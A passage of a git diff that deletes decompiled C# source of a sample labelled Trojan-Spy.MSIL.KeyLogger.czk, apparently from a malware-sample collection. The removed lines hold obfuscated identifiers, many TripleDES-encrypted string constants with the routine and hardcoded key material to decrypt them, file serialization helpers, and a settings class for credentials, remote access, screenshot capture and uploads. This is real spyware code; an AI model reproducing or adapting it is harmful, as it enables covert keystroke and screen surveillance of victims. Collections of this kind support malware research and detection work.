"uMpl6+1L4oasE8SSrQrvxX/qR8v+kB3O/0HnW1rHzAvokrVy4kWOI+Ed3401Ri04TB+oIq/KxCqyChFjKFkpCIPcO8p40cdmWVCAMcrrdfhT3cRq4kE/i7EqsyfE8xzwbpufMXylU/a7N39ieALc5IAVbJNmogtO/an/ZT1oGXe5RdZrlFC6PWH0BM9RjvTmPPU/MpLtEH5kMG1UwQKHPh4+eTxx7L89o/zo+ddmlK8HJVTy8yntRwNAGub1Rwfe+5Wvd0AcCX7c66K+PzTA6N3KiBbPNsj8UlYhqftKkWDh1a98owsepFGz3OXTqB/CGx1/yPX3AYloW3luMp2tLo1Q4+ldE2LjH6xfFZzNd6732T1B1rVZ5cK8GiIrg2I+Q6KqdE1JsPsNludRvIZOqqGU4jeGmFB4Vf4y4OG0L7eOl0WnbvIGV3gR4LDoEDtbp9bthlhmPwRKRYe4rX/1F9Ttz+xgZ2Gr"; - public static string គᙃ = global::ᙵ.ᙵ(global::ᙵ.ឃᙃ); - public static string ចᙃ = "gupt2DJxTaaaKmsUYx6iZg=="; - public static string ងᙃ = global::ᙵ.ᙵ(global::ᙵ.ចᙃ); - public static string ជᙃ = "9XQZ0TDrEP4="; - public static string ឆᙃ = global::ᙵ.ᙵ(global::ᙵ.ជᙃ); - public static string ញᙃ = "A7NdbCvkS5Q="; - public static string ឈᙃ = global::ᙵ.ᙵ(global::ᙵ.ញᙃ); - public static string ឋᙃ = "eZpVHT2U2AFiaviZx+45ct5ZH9iqvqFdxUyS+ZxL0GCUgwnZbu1kUc5oUDhFiDh1TyhqJ3BdTdkOmSX7N43GrF4ohvSEWyXmn4sDXKRqZVdionSaouHH2ly6H7gkGWPr"; - public static string ដᙃ = global::ᙵ.ᙵ(global::ᙵ.ឋᙃ); - public static string ឍᙃ = "05/1ExIpR7DRZ4oMM5sabw=="; - public static string មᙃ = global::ᙵ.ᙵ(global::ᙵ.ឍᙃ); - public static string តᙃ = "pJ1Qdr5orSvkBRtvAACNGdPqdRCMkOtX"; - public static string ណᙃ = global::ᙵ.ᙵ(global::ᙵ.តᙃ); - public static string ទᙃ = "RSJvQnUUk0MNdFkHjGdrNw=="; - public static string \u17BEᙃ = global::ᙵ.ᙵ(global::ᙵ.ទᙃ); - public static string នᙃ = "JlCE03ee5LV0sjjyc+6E4Npg1sQPF6m/fxCrtkYEk8Q="; - public static string ធᙃ = global::ᙵ.ᙵ(global::ᙵ.នᙃ); - public static string ផᙃ = "JlCE03ee5LV0sjjyc+6E4Npg1sQPF6m/fxCrtkYEk8Q="; - public static string បᙃ = global::ᙵ.ᙵ(global::ᙵ.ផᙃ); - public static string ភᙃ = "nrjX8FcNNJjPW4zDr/Jz9ZoNilN6Bg7H"; - public static string ពᙃ = global::ᙵ.ᙵ(global::ᙵ.ភᙃ); - public static string ឳᙃ = "JlCE03ee5LV0sjjyc+6E4Npg1sQPF6m/fxCrtkYEk8Q="; - public static string កᙃ = global::ᙵ.ᙵ(global::ᙵ.ឳᙃ); - public static string លᙃ = "JlCE03ee5LV0sjjyc+6E4Npg1sQPF6m/fxCrtkYEk8Q="; - public static string រᙃ = global::ᙵ.ᙵ(global::ᙵ.លᙃ); - public static string ឝᙃ = "kTkX6ArXIvexiSPCmr6DsPhciA2HPc9PBdXxDUxYOgO92WHhCU4rs0rQ1gJbRjRnBpw8SWOnEm+XVi5uE9von9qjkDJJQubnTvDdq8W4i+J7MkPyHj/vmLZmEsWUBH0T"; - public static string យᙃ = global::ᙵ.ᙵ(global::ᙵ.ឝᙃ); - public static string សᙃ = "gZyKCq/9T2gDCK57tZS+qjpdub9CWFtB9KUPNe9xcjR1HqGFDeHhNNIxH+ibhRjvxAJEdR7DR8GIkUUfPkOZn24a/hDoQzOSiGPt7yw/IzpoMib+krtywNYb04RseCa2"; - public static string ឞᙃ = global::ᙵ.ᙵ(global::ᙵ.សᙃ); - public static string ឡᙃ = "i9GYnWVDpycMV/qqoauyddkHbwWdHFphHjythS20iVQ="; - public static string ហᙃ = global::ᙵ.ᙵ(global::ᙵ.ឡᙃ); - public static string ឣᙃ = "gZyKCq/9T2gDCK57tZS+qjpdub9CWFtB9KUPNe9xcjR1HqGFDeHhNNIxH+ibhRjviqwRZC2NEX9Fqv6AtbXTbsY6n7bQI0+OY/iBjMd8cA3B/q37wZ/E5A=="; - public static string អᙃ = global::ᙵ.ᙵ(global::ᙵ.ឣᙃ); - public static string ឥᙃ = "i9GYnWVDpycMV/qqoauyddkHbwWdHFphHjythS20iVQ="; - public static string ឤᙃ = global::ᙵ.ᙵ(global::ᙵ.ឥᙃ); - public static string ឧᙃ = "55F7jD0b3AtEQ5yXWQLLSIW0m/QDSMNwEAeZbIhRnUROus+aO2IlZNh6751J6BP+"; - public static string ឦᙃ = global::ᙵ.ᙵ(global::ᙵ.ឧᙃ); - public static string ឩᙃ = "sUwTfjxdjmVF8qXfmJAsag=="; - public static string ឨᙃ = global::ᙵ.ᙵ(global::ᙵ.ឩᙃ); - public static string ឫᙃ = "snYvcHdPQS7uHYARhk54TA=="; - public static string ឪᙃ = global::ᙵ.ᙵ(global::ᙵ.ឫᙃ); - public static string ឭᙃ = "w2uPtnLXMjM="; - public static string ឬᙃ = global::ᙵ.ᙵ(global::ᙵ.ឭᙃ); - public static string ឯᙃ = "+F9g+idmJCiHVy7Hubc9hlOKIk4MM4mOWj+IhyvhoVy+2ZnK1QmotQ=="; - public static string ឮᙃ = global::ᙵ.ᙵ(global::ᙵ.ឯᙃ); - public static string ឱᙃ = "5APZmxxqeAHYBXKBxBqLFEe/wE2OfiBa"; - public static string ឰᙃ = global::ᙵ.ᙵ(global::ᙵ.ឱᙃ); - public static string \u17F5ᙃ = "5APZmxxqeAHyyCUQqA5B9Q=="; - public static string ឲᙃ = global::ᙵ.ᙵ(global::ᙵ.\u17F5ᙃ); - public static string \u17C3ᙃ = "Y8CDAq15TdlC1Y28cB95s76qqSXCSHxs"; - public static string \u17C2ᙃ = global::ᙵ.ᙵ(global::ᙵ.\u17C3ᙃ); - public static string \u17C5ᙃ = "Y8CDAq15Tdn48NLvLucWjg=="; - public static string \u17C4ᙃ = global::ᙵ.ᙵ(global::ᙵ.\u17C5ᙃ); - public static string \u17C7ᙃ = "lkUnSkApcX+/elshUjWHuFybSnGSBuiA5BxxQsEyrKQ="; - public static string \u17C6ᙃ = global::ᙵ.ᙵ(global::ᙵ.\u17C7ᙃ); - public static string \u17C9ᙃ = "RfEHf41fClQOEy4tgVQEpQ=="; - public static string \u17C8ᙃ = global::ᙵ.ᙵ(global::ᙵ.\u17C9ᙃ); - public static string \u17CBᙃ = "RfEHf41fClQOEy4tgVQEpQ=="; - public static string \u17CAᙃ = global::ᙵ.ᙵ(global::ᙵ.\u17CBᙃ); - public static string \u17CDᙃ = "xapaI14u8frQctjFCngavA=="; - public static string \u17D8ᙃ = global::ᙵ.ᙵ(global::ᙵ.\u17CDᙃ); - public static string \u17CFᙃ = "xapaI14u8frQctjFCngavA=="; - public static string \u17CEᙃ = global::ᙵ.ᙵ(global::ᙵ.\u17CFᙃ); - public static string \u17D1ᙃ = "91CGgtEqsHgySUK6VJz8mw=="; - public static string \u17FEᙃ = global::ᙵ.ᙵ(global::ᙵ.\u17D1ᙃ); - public static string \u17D3ᙃ = "kWcI6pzJzLFKG+qZefBliw=="; - public static string \u17D2ᙃ = global::ᙵ.ᙵ(global::ᙵ.\u17D3ᙃ); - public static string \u17D5ᙃ = "u0WDv+rG0ykhGRcyAmENOA=="; - public static string \u17D4ᙃ = global::ᙵ.ᙵ(global::ᙵ.\u17D5ᙃ); - public static string ៗᙃ = "fMGzNNu/rOMFHxShw7w7Pg=="; - public static string \u17D6ᙃ = global::ᙵ.ᙵ(global::ᙵ.ៗᙃ); - public static string \u17F3ᙃ = "NQXX+T3h403l98idl4lQatPpwpg5Xmpx"; - public static string \u17C0ᙃ = global::ᙵ.ᙵ(global::ᙵ.\u17F3ᙃ); - public static string \u17DBᙃ = "1jqVxTV+J79sibmGeaWaevebSdk0u5ScnjqGXyiv4IM="; - public static string \u17DAᙃ = global::ᙵ.ᙵ(global::ᙵ.\u17DBᙃ); - public static string \u17DDᙃ = "GbndmbCq2g3XVXrKvfGnog=="; - public static string \u17D9ᙃ = global::ᙵ.ᙵ(global::ᙵ.\u17DDᙃ); - public static string \u17DFᙃ = "KSddDkJIxM2KSGfcxjDVYew+xG17SXOC"; - public static string \u17DEᙃ = global::ᙵ.ᙵ(global::ᙵ.\u17DFᙃ); - public static string \u17E1ᙃ = "/CcjBvaoE8c8DKrMQQfP2X05wb2qpA8ZI1GirNx3t7bUOwEWgYqpFU6gnSYY6kxz"; - public static string \u17E0ᙃ = global::ᙵ.ᙵ(global::ᙵ.\u17E1ᙃ); - public static string \u17E3ᙃ = "lkUnSkApcX+/elshUjWHuFybSnGSBuiA5BxxQsEyrKQ="; - public static string \u17E2ᙃ = global::ᙵ.ᙵ(global::ᙵ.\u17E3ᙃ); - public static string \u17E5ᙃ = "lkUnSkApcX+/elshUjWHuFybSnGSBuiA8IpmQbTgXORiB+batbYmhQ=="; - public static string \u17E4ᙃ = global::ᙵ.ᙵ(global::ᙵ.\u17E5ᙃ); - public static string \u17E7ᙃ = "63/MMP/cew6NhSKD/pxN9wQtofxinTol"; - public static string \u17E6ᙃ = global::ᙵ.ᙵ(global::ᙵ.\u17E7ᙃ); - public static string \u17E9ᙃ = "y37gy0C7+AAGbBJsWBhladpbcYsCTgVV3IMrl9u+wvv3PN0pE4/MdfDU3k7fSamLzwc2syHFE1bvtounTjcD1A=="; - public static string \u17E8ᙃ = global::ᙵ.ᙵ(global::ᙵ.\u17E9ᙃ); - public static string \u17EBᙃ = "urtuyUSq4Mc0TNoaBCpQHB1N7Zf3XT7dmglWuJIE7OQM1tSzmRsOzw=="; - public static string \u17EAᙃ = global::ᙵ.ᙵ(global::ᙵ.\u17EBᙃ); - public static string \u17EDᙃ = "azuKsrU0dhpPPXJT+YVGWboZ74H5vvnu"; - public static string \u17ECᙃ = global::ᙵ.ᙵ(global::ᙵ.\u17EDᙃ); - public static string \u17EFᙃ = "o6FKAX+ujt50Fb8xPxLpMDPjv+c7ozyo"; - public static string \u17EEᙃ = global::ᙵ.ᙵ(global::ᙵ.\u17EFᙃ); - public static string \u17F1ᙃ = "VG7tiqCsedihkcrWcImf3g=="; - public static string \u17F0ᙃ = global::ᙵ.ᙵ(global::ᙵ.\u17F1ᙃ); - public static string ᠵᙃ = "1N/Br/Q8FIfnhjzey7GtHXbmz92Mmx/5"; - public static string \u17F2ᙃ = global::ᙵ.ᙵ(global::ᙵ.ᠵᙃ); - public static string \u1803ᙃ = "VG7tiqCsedihkcrWcImf3g=="; - public static string \u1802ᙃ = global::ᙵ.ᙵ(global::ᙵ.\u1803ᙃ); - public static string \u1805ᙃ = "VG7tiqCsedihkcrWcImf3g=="; - public static string \u1804ᙃ = global::ᙵ.ᙵ(global::ᙵ.\u1805ᙃ); - public static string \u1807ᙃ = "bnxWDKWxy+3k6mdU/q+vaLSqaBbCKBFbdTr18Q82FgftOKXEQwjRjdIe0KXu4bb39YdKEF1E/g8tlDY6mtQrb9jxsBFr3Keyxv3+jZjclEu1sE8sjMs1ww=="; - public static string \u1806ᙃ = global::ᙵ.ᙵ(global::ᙵ.\u1807ᙃ); - public static string \u1809ᙃ = "bnxWDKWxy+3k6mdU/q+vaLSqaBbCKBFbdTr18Q82FgftOKXEQwjRjdIe0KXu4bb39YdKEF1E/g+u446XVHUmRh5XxFjmHiyiHUOdHg9D+eIvxJx11SniuggtVQC3XOKo"; - public static string \u1808ᙃ = global::ᙵ.ᙵ(global::ᙵ.\u1809ᙃ); - public static string \u180Bᙃ = "bnxWDKWxy+0+mVlCKKvMgFTB/yv5xHOjBtsviTHM7uH4ZDg1XqqGrxwKA+lUKp57JWNn7bFdWOpBAyWNoQgaOS7IjdpQ+969BRUh2/2MzpQ="; - public static string \u180Aᙃ = global::ᙵ.ᙵ(global::ᙵ.\u180Bᙃ); - public static string \u180Dᙃ = "bnxWDKWxy+0+mVlCKKvMgFTB/yv5xHOjBtsviTHM7uH4ZDg1XqqGrxwKA+lUKp57JWNn7bFdWOr9V2cOVvLOAD2Ghvxc/mO+c5D5BpdlcWOfwEelcZkAvMxxU6Zu83rtVAU3xX9dwzil8dmR1EI/2Q=="; - public static string \u1818ᙃ = global::ᙵ.ᙵ(global::ᙵ.\u180Dᙃ); - public static string \u180Fᙃ = "bnxWDKWxy+0+mVlCKKvMgFTB/yv5xHOjBtsviTHM7uH4ZDg1XqqGrxwKA+lUKp57eDkEAdVz0RA/cq/Y20TclTj6kpazIW/UfG44jzV7wplUSgTKMv+08ehCBuwl4rE9/OJZjWluylyrrZUw1gjypXXA0sgddPqEKEOAihW7zvFR5YGPZ33Q5A=="; - public static string \u180Eᙃ = global::ᙵ.ᙵ(global::ᙵ.\u180Fᙃ); - public static string \u1811ᙃ = "bnxWDKWxy+0+mVlCKKvMgFTB/yv5xHOjBtsviTHM7uH4ZDg1XqqGrxwKA+lUKp57JWNn7bFdWOrtPs2GOKgZzQ=="; - public static string ᠾᙃ = global::ᙵ.ᙵ(global::ᙵ.\u1811ᙃ); - public static string \u1813ᙃ = "bnxWDKWxy+3k6mdU/q+vaLSqaBbCKBFbdTr18Q82FgftOKXEQwjRjdIe0KXu4bb39YdKEF1E/g8tlDY6mtQrb1REPjIx+rBwophFeBrgCyc6djNs/kd/iy+DE0LGP0lT3vO7i8RRhgJ943hU6d2iMqRiWrDREJ+g"; - public static string \u1812ᙃ = global::ᙵ.ᙵ(global::ᙵ.\u1813ᙃ); - public static string \u1815ᙃ = "bnxWDKWxy+0+mVlCKKvMgFTB/yv5xHOjBtsviTHM7uH4ZDg1XqqGrxwKA+lUKp57JWNn7bFdWOqcqBiGAFsSzUC88a4ksVL20UonCxTlMumjjKZCBp60f6OZjcJJKRDT"; - public static string \u1814ᙃ = global::ᙵ.ᙵ(global::ᙵ.\u1815ᙃ); - public static string \u1817ᙃ = "rqsyGrFsALpVMgH1HTTbh8tQyBVZTCwJ1rUp/7MmI3+BS0p2YQ/bIA=="; - public static string \u1816ᙃ = global::ᙵ.ᙵ(global::ᙵ.\u1817ᙃ); - public static string ᠳᙃ = "rqsyGrFsALpVMgH1HTTbh8tQyBVZTCwJ1rUp/7MmI3+BS0p2YQ/bIA=="; - public static string \u1800ᙃ = global::ᙵ.ᙵ(global::ᙵ.ᠳᙃ); - public static string \u181Bᙃ = "rqsyGrFsALpVMgH1HTTbh8tQyBVZTCwJ1rUp/7MmI3+BS0p2YQ/bIA=="; - public static string \u181Aᙃ = global::ᙵ.ᙵ(global::ᙵ.\u181Bᙃ); - public static string \u181Dᙃ = "28dehX3Ba+E="; - public static string \u1819ᙃ = global::ᙵ.ᙵ(global::ᙵ.\u181Dᙃ); - public static string \u181Fᙃ = "4/wp08H6u4s="; - public static string \u181Eᙃ = global::ᙵ.ᙵ(global::ᙵ.\u181Fᙃ); - public static global::ᙵ.ᡵᙃ ᠲᙃ; - - public static string ᙵ(string ᠰᙃ) - { - string empty = string.Empty; - return global::ᙵ.ᠯᙃ(ᠰᙃ); - } - - public static int ᡄᙃ(int ᠰᙃ) => Conversions.ToInteger(Interaction.IIf((double) ᠰᙃ / 2.0 == (double) checked ((int) Math.Round(unchecked ((double) ᠰᙃ / 2.0))), (object) 2, (object) 1)); - - public static string ᠠᙃ() => "4A "; - - public static string ᠡᙃ() => "33 "; - - public static string ᠢᙃ() => "24 "; - - public static string ᠣᙃ() => "55 "; - - public static string ᠤᙃ() => "2A "; - - public static string ᠥᙃ() => "40 "; - - public static string ᠦᙃ() => "52 "; - - public static string ᠧᙃ() => "48 "; - - public static string ᠨᙃ() => "34 "; - - public static string ᠩᙃ() => "32 "; - - public static string ᠪᙃ() => "31 "; - - public static string ᠫᙃ() => "62 "; - - public static string ᠬᙃ() => "33 "; - - public static string ᠭᙃ() => "61 "; - - public static string ᠱᙃ() => "" + global::ᙵ.ᠠᙃ() + global::ᙵ.ᠡᙃ() + global::ᙵ.ᠢᙃ() + global::ᙵ.ᠣᙃ() + global::ᙵ.ᠤᙃ() + global::ᙵ.ᠥᙃ() + global::ᙵ.ᠦᙃ() + global::ᙵ.ᠧᙃ() + global::ᙵ.ᠨᙃ() + global::ᙵ.ᠩᙃ() + global::ᙵ.ᠪᙃ() + global::ᙵ.ᠫᙃ() + global::ᙵ.ᠬᙃ() + global::ᙵ.ᠭᙃ(); - - public static string ᠯᙃ(string ᠰᙃ) - { - string empty; - try - { - string str = global::ᙵ.ᡂᙃ("6B291GECC7667E94"); - global::ᙵ.ᠲᙃ.ᡂᙃ = ""; - string[] strArray = Strings.Trim(global::ᙵ.ᠱᙃ()).Split(' '); - ref global::ᙵ.ᡵᙃ local = ref global::ᙵ.ᠲᙃ; - int upperBound = strArray.GetUpperBound(0); - local.ᡃᙃ = 0; - while (global::ᙵ.ᠲᙃ.ᡃᙃ <= upperBound) - { - global::ᙵ.ᠲᙃ.ᡂᙃ = Conversions.ToInteger("&H" + strArray[global::ᙵ.ᠲᙃ.ᡃᙃ]) <= (int) byte.MaxValue ? global::ᙵ.ᠲᙃ.ᡂᙃ + Conversions.ToString(Strings.Chr(Conversions.ToInteger("&H" + strArray[global::ᙵ.ᠲᙃ.ᡃᙃ]))) : global::ᙵ.ᠲᙃ.ᡂᙃ + Conversions.ToString(Strings.ChrW(Conversions.ToInteger("&H" + strArray[global::ᙵ.ᠲᙃ.ᡃᙃ]))); - checked { ++global::ᙵ.ᠲᙃ.ᡃᙃ; } - } - string ᡂᙃ = global::ᙵ.ᠲᙃ.ᡂᙃ; - byte[] rgbSalt = new byte[checked ((int) Math.Round(unchecked ((double) str.Length / 2.0 - 1.0)) + 1)]; - int num = checked (rgbSalt.Length - 1); - int index = 0; - while (index <= num) - { - rgbSalt[index] = Convert.ToByte(str.Substring(checked (index * 2), 2), 16); - checked { ++index; } - } - byte[] buffer = Convert.FromBase64String(ᠰᙃ); - global::ᙵ.ᠲᙃ.ᠰᙃ = new PasswordDeriveBytes(ᡂᙃ, rgbSalt); - MemoryStream memoryStream = new MemoryStream(); - global::ᙵ.ᠲᙃ.ᠯᙃ = TripleDES.Create(); - global::ᙵ.ᠲᙃ.ᠯᙃ.Key = global::ᙵ.ᠲᙃ.ᠰᙃ.GetBytes(16); - global::ᙵ.ᠲᙃ.ᠯᙃ.IV = global::ᙵ.ᠲᙃ.ᠰᙃ.GetBytes(8); - global::ᙵ.ᠲᙃ.ᠮᙃ = new CryptoStream((Stream) memoryStream, global::ᙵ.ᠲᙃ.ᠯᙃ.CreateDecryptor(), CryptoStreamMode.Write); - global::ᙵ.ᠲᙃ.ᠮᙃ.Write(buffer, 0, buffer.Length); - global::ᙵ.ᠲᙃ.ᠮᙃ.Close(); - empty = Encoding.Unicode.GetString(memoryStream.ToArray()); - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - empty = string.Empty; - ProjectData.ClearProjectError(); - } - return empty; - } - - public static string ᡂᙃ(string s) - { - string empty = string.Empty; - int length = s.Length; - int Start = 1; - while (Start <= length) - { - empty += Conversions.ToString(Strings.ChrW(checked (Strings.AscW(Strings.Mid(Strings.StrReverse(s), Start, 1)) - 1))); - checked { ++Start; } - } - return empty; - } - - public struct ᡵᙃ - { - public CryptoStream ᠮᙃ; - public TripleDES ᠯᙃ; - public PasswordDeriveBytes ᠰᙃ; - public StreamReader ᠱᙃ; - public string ᡂᙃ; - public int ᡃᙃ; - - public ᡵᙃ(int ᡄᙃ) - : this() - { - this.ᡃᙃ = ᡄᙃ; - } - - public ᡵᙃ(string ᡄᙃ) - : this() - { - this.ᡂᙃ = ᡄᙃ; - } - } -} diff --git a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.czk-cde7546df369e926f201a20ea21a174728391b0927412058c56dcdd5367e606c/ᙾ.cs b/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.czk-cde7546df369e926f201a20ea21a174728391b0927412058c56dcdd5367e606c/ᙾ.cs deleted file mode 100644 index 2e0ae9bb..00000000 --- a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.czk-cde7546df369e926f201a20ea21a174728391b0927412058c56dcdd5367e606c/ᙾ.cs +++ /dev/null @@ -1,69 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: ᙾ -// Assembly: dskl, Version=1.71.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 5380AAD3-568D-45D6-B9BC-59CE5C1E3490 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan-Spy.MSIL.KeyLogger.czk-cde7546df369e926f201a20ea21a174728391b0927412058c56dcdd5367e606c.exe - -using System.IO; -using System.Runtime.Serialization.Formatters.Binary; -using System.Windows.Forms; - -internal static class ᙾ -{ - public static void ᙔ(string filename, ᙆ objectToSerialize) - { - do - ; - while (false); - try - { - if (File.Exists(Application.StartupPath + "\\" + filename)) - { - using (Stream serializationStream = (Stream) File.Open(Application.StartupPath + "\\" + filename, FileMode.Open)) - new BinaryFormatter().Serialize(serializationStream, (object) objectToSerialize); - } - } - catch - { - } - int num1; - int num2; - while (num1 == num2) - { - num2 = 1; - int num3 = num2; - int num4 = num1; - num1 = num3; - if (num1 > num4) - break; - } - } - - public static ᙆ ᙒ(string filename) - { - do - ; - while (false); - ᙆ ᙆ1 = (ᙆ) null; - ᙆ ᙆ2; - try - { - if (!File.Exists(Application.StartupPath + "\\" + filename)) - File.Create(Application.StartupPath + "\\" + filename).Close(); - using (Stream serializationStream = (Stream) File.Open(Application.StartupPath + "\\" + filename, FileMode.Open)) - { - BinaryFormatter binaryFormatter = new BinaryFormatter(); - if (serializationStream.Length > 0L) - ᙆ1 = (ᙆ) binaryFormatter.Deserialize(serializationStream); - ᙆ2 = ᙆ1; - goto label_13; - } - } - catch - { - } - return (ᙆ) null; -label_13: - return ᙆ2; - } -} diff --git a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.czk-cde7546df369e926f201a20ea21a174728391b0927412058c56dcdd5367e606c/ᝨ.cs b/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.czk-cde7546df369e926f201a20ea21a174728391b0927412058c56dcdd5367e606c/ᝨ.cs deleted file mode 100644 index 3e30cb0a..00000000 --- a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.czk-cde7546df369e926f201a20ea21a174728391b0927412058c56dcdd5367e606c/ᝨ.cs +++ /dev/null @@ -1,69 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: ᝨ -// Assembly: dskl, Version=1.71.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 5380AAD3-568D-45D6-B9BC-59CE5C1E3490 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan-Spy.MSIL.KeyLogger.czk-cde7546df369e926f201a20ea21a174728391b0927412058c56dcdd5367e606c.exe - -using System.IO; -using System.Runtime.Serialization.Formatters.Binary; -using System.Windows.Forms; - -internal static class ᝨ -{ - public static void ᙔ(string filename, ᝮ objectToSerialize) - { - do - ; - while (false); - try - { - if (File.Exists(Application.StartupPath + "\\" + filename)) - { - using (Stream serializationStream = (Stream) File.Open(Application.StartupPath + "\\" + filename, FileMode.Open)) - new BinaryFormatter().Serialize(serializationStream, (object) objectToSerialize); - } - } - catch - { - } - int num1; - int num2; - while (num1 == num2) - { - num2 = 1; - int num3 = num2; - int num4 = num1; - num1 = num3; - if (num1 > num4) - break; - } - } - - public static ᝮ ᙒ(string filename) - { - do - ; - while (false); - ᝮ ᝮ1 = (ᝮ) null; - ᝮ ᝮ2; - try - { - if (!File.Exists(Application.StartupPath + "\\" + filename)) - File.Create(Application.StartupPath + "\\" + filename).Close(); - using (Stream serializationStream = (Stream) File.Open(Application.StartupPath + "\\" + filename, FileMode.Open)) - { - BinaryFormatter binaryFormatter = new BinaryFormatter(); - if (serializationStream.Length > 0L) - ᝮ1 = (ᝮ) binaryFormatter.Deserialize(serializationStream); - ᝮ2 = ᝮ1; - goto label_13; - } - } - catch - { - } - return (ᝮ) null; -label_13: - return ᝮ2; - } -} diff --git a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.czk-cde7546df369e926f201a20ea21a174728391b0927412058c56dcdd5367e606c/ᝮ.cs b/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.czk-cde7546df369e926f201a20ea21a174728391b0927412058c56dcdd5367e606c/ᝮ.cs deleted file mode 100644 index 665deb9a..00000000 --- a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.czk-cde7546df369e926f201a20ea21a174728391b0927412058c56dcdd5367e606c/ᝮ.cs +++ /dev/null @@ -1,347 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: ᝮ -// Assembly: dskl, Version=1.71.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 5380AAD3-568D-45D6-B9BC-59CE5C1E3490 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan-Spy.MSIL.KeyLogger.czk-cde7546df369e926f201a20ea21a174728391b0927412058c56dcdd5367e606c.exe - -using System; -using System.Runtime.Serialization; - -[Serializable] -internal class ᝮ : ISerializable, IDisposable -{ - private string ᡆᙃ; - private string ᡇᙃ; - private string ᡈᙃ; - private bool ᡉᙃ; - private string ᡊᙃ; - private int ᡋᙃ; - private bool ᡘᙃ; - private int ᡍᙃ; - private bool ᡎᙃ; - private bool ᡏᙃ; - private string \u187Eᙃ; - private int ᡑᙃ; - - public bool KeyCombinationDisabled - { - get - { - do - ; - while (false); - return this.ᡘᙃ; - } - set - { - do - ; - while (false); - this.ᡘᙃ = value; - } - } - - public string ActivationCode - { - get - { - do - ; - while (false); - return this.ᡆᙃ; - } - set - { - do - ; - while (false); - this.ᡆᙃ = value; - } - } - - public string Username - { - get - { - do - ; - while (false); - return this.ᡇᙃ; - } - set - { - do - ; - while (false); - this.ᡇᙃ = value; - } - } - - public string Password - { - get - { - do - ; - while (false); - return this.ᡈᙃ; - } - set - { - do - ; - while (false); - this.ᡈᙃ = value; - } - } - - public int MaxImageFolderSize - { - get - { - do - ; - while (false); - return this.ᡑᙃ; - } - set - { - do - ; - while (false); - this.ᡑᙃ = value; - } - } - - public bool RemoteAccess - { - get - { - do - ; - while (false); - return this.ᡉᙃ; - } - set - { - do - ; - while (false); - this.ᡉᙃ = value; - } - } - - public string PassPhrase - { - get - { - do - ; - while (false); - return this.ᡊᙃ; - } - set - { - do - ; - while (false); - this.ᡊᙃ = value; - } - } - - public int KeyCombination - { - get - { - do - ; - while (false); - return this.ᡋᙃ; - } - set - { - do - ; - while (false); - this.ᡋᙃ = value; - } - } - - public string ConsolePassword - { - get - { - do - ; - while (false); - return this.\u187Eᙃ; - } - set - { - do - ; - while (false); - this.\u187Eᙃ = value; - } - } - - public bool ScreenShotUploadOnly - { - get - { - do - ; - while (false); - return this.ᡏᙃ; - } - set - { - do - ; - while (false); - this.ᡏᙃ = value; - } - } - - public bool UploadImages - { - get - { - do - ; - while (false); - return this.ᡎᙃ; - } - set - { - do - ; - while (false); - this.ᡎᙃ = value; - } - } - - public int ScreenShotDuration - { - get - { - do - ; - while (false); - return this.ᡍᙃ; - } - set - { - do - ; - while (false); - this.ᡍᙃ = value; - } - } - - public ᝮ() - { - do - ; - while (false); - this.ᡆᙃ = ""; - this.ᡇᙃ = ""; - this.ᡈᙃ = ""; - this.ᡊᙃ = ""; - this.ᡋᙃ = -1; - this.ᡍᙃ = -1; - this.\u187Eᙃ = ""; - this.ᡑᙃ = -1; - // ISSUE: explicit constructor call - base.\u002Ector(); - } - - public ᝮ(SerializationInfo info, StreamingContext ctxt) - { - do - ; - while (false); - this.ᡆᙃ = ""; - this.ᡇᙃ = ""; - this.ᡈᙃ = ""; - this.ᡊᙃ = ""; - this.ᡋᙃ = -1; - this.ᡍᙃ = -1; - this.\u187Eᙃ = ""; - this.ᡑᙃ = -1; - // ISSUE: explicit constructor call - base.\u002Ector(); - try - { - this.ᡆᙃ = (string) info.GetValue("activationCode", typeof (string)); - this.ᡇᙃ = (string) info.GetValue("username", typeof (string)); - this.ᡈᙃ = (string) info.GetValue("password", typeof (string)); - this.ᡉᙃ = (bool) info.GetValue("remoteAccess", typeof (bool)); - this.ᡊᙃ = (string) info.GetValue("passPhrase", typeof (string)); - this.ᡋᙃ = (int) info.GetValue("keyCombination", typeof (int)); - this.ᡘᙃ = (bool) info.GetValue("keyCombinationDisabled", typeof (bool)); - this.\u187Eᙃ = (string) info.GetValue("consolePassword", typeof (string)); - this.ᡏᙃ = (bool) info.GetValue("screenShotUploadOnly", typeof (bool)); - this.ᡎᙃ = (bool) info.GetValue("uploadImages", typeof (bool)); - this.ᡍᙃ = (int) info.GetValue("screenShotDuration", typeof (int)); - this.ᡑᙃ = (int) info.GetValue("maxImageSize", typeof (int)); - } - catch - { - } - int num1; - int num2; - while (num1 == num2) - { - num2 = 1; - int num3 = num2; - int num4 = num1; - num1 = num3; - if (num1 > num4) - break; - } - } - - public void GetObjectData(SerializationInfo info, StreamingContext ctxt) - { - do - ; - while (false); - try - { - info.AddValue("activationCode", (object) this.ᡆᙃ); - info.AddValue("username", (object) this.ᡇᙃ); - info.AddValue("password", (object) this.ᡈᙃ); - info.AddValue("remoteAccess", this.ᡉᙃ); - info.AddValue("passPhrase", (object) this.ᡊᙃ); - info.AddValue("keyCombination", this.ᡋᙃ); - info.AddValue("keyCombinationDisabled", this.ᡘᙃ); - info.AddValue("consolePassword", (object) this.\u187Eᙃ); - 